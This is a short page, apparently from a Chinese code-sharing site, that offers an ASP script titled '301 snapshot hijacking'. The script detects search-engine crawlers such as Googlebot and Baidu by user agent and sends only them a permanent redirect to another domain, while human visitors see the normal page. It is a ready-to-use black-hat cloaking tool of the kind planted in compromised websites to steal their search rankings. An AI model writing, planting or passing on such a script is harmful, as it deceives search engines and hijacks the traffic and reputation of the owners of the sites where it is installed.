<%
Function GetLocationURL()
Dim Url
Dim ScriptName,QueryString
ScriptName = Request.ServerVariables("SCRIPT_NAME")
QueryString = Request.ServerVariables("QUERY_STRING")
if ScriptName = "/index.asp" then
if QueryString = "" then
GetLocationURL = "/"
else
GetLocationURL = ScriptName&"?"&QueryString
end if
else
if QueryString = "" then
GetLocationURL = ScriptName
else
GetLocationURL = ScriptName&"?"&QueryString
end if
end if
End Function
If isspider() then
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://www.xxx.com"& GetLocationURL() '在這里修改要跳轉(zhuǎn)到的網(wǎng)
頁
Response.End
End if
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")
isspider = false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
%>301 快照劫持(asp 版)
yupang
快照劫持
915
免責(zé)聲明
資料匯總于網(wǎng)絡(luò),如有侵權(quán) 聯(lián)系站長刪除 http://m.790079.com
同類推薦
發(fā)表評論
站點信息
標(biāo)簽列表
網(wǎng)站分類
友情鏈接
